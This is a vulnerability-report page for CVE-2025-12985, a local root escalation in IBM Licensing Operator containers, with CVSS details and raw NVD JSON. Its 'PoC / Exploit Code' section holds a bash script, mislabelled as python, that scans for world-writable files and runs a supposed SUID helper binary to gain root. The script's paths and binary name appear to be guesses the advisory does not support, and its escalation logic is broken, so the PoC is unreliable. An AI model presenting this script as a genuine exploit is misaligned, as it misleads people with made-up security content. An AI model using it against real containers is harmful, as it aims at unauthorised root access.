Security Vulnerability Report
中文
CVE-2025-12985 CVSS 8.4 HIGH

CVE-2025-12985

Published: 2026-01-20 15:16:14
Last Modified: 2026-04-15 00:35:42

Description

IBM Licensing Operator incorrectly assigns privileges to security critical files which could allow a local root escalation inside a container running the IBM Licensing Operator image.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

IBM Licensing Operator 所有受影响的版本(具体版本需参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-12985 PoC - IBM Licensing Operator Local Root Escalation # Note: This PoC is for educational and testing purposes only TARGET_DIR="/opt/ibm/licensing" EXPLOIT_FILE="$TARGET_DIR/bin/exploit" # Step 1: Check if vulnerable version is running echo "[*] Checking IBM Licensing Operator version..." if [ -f "$TARGET_DIR/version" ]; then VERSION=$(cat "$TARGET_DIR/version") echo "[+] Found version: $VERSION" fi # Step 2: Identify misconfigured permissions echo "[*] Scanning for misconfigured files..." find "$TARGET_DIR" -type f -perm -0777 2>/dev/null | while read file; do echo "[!] Found misconfigured file: $file" ls -la "$file" done # Step 3: Exploit privilege escalation via misconfigured SUID binary echo "[*] Attempting privilege escalation..." if [ -f "$TARGET_DIR/bin/licensing_helper" ]; then # Check if binary has SUID bit set if [ -u "$TARGET_DIR/bin/licensing_helper" ]; then echo "[+] Found SUID binary with misconfigured permissions" # Execute the SUID binary to escalate privileges "$TARGET_DIR/bin/licensing_helper" 2>/dev/null && echo "[+] Privilege escalation successful" fi fi # Step 4: Verify root access echo "[*] Verifying current privileges..." id whoami # Note: Actual exploitation requires specific conditions and vulnerable version

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12985", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:16:13.577", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Licensing Operator incorrectly assigns privileges to security critical files which could allow a local root escalation inside a container running the IBM Licensing Operator image."}, {"lang": "es", "value": "IBM Licensing Operator asigna incorrectamente privilegios a archivos críticos de seguridad, lo que podría permitir una escalada local de privilegios de root dentro de un contenedor que ejecuta la imagen de IBM Licensing Operator."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://www.ibm.com/support/pages/license-service-privilege-escalation-vulnerability", "source": "[email protected]"}]}}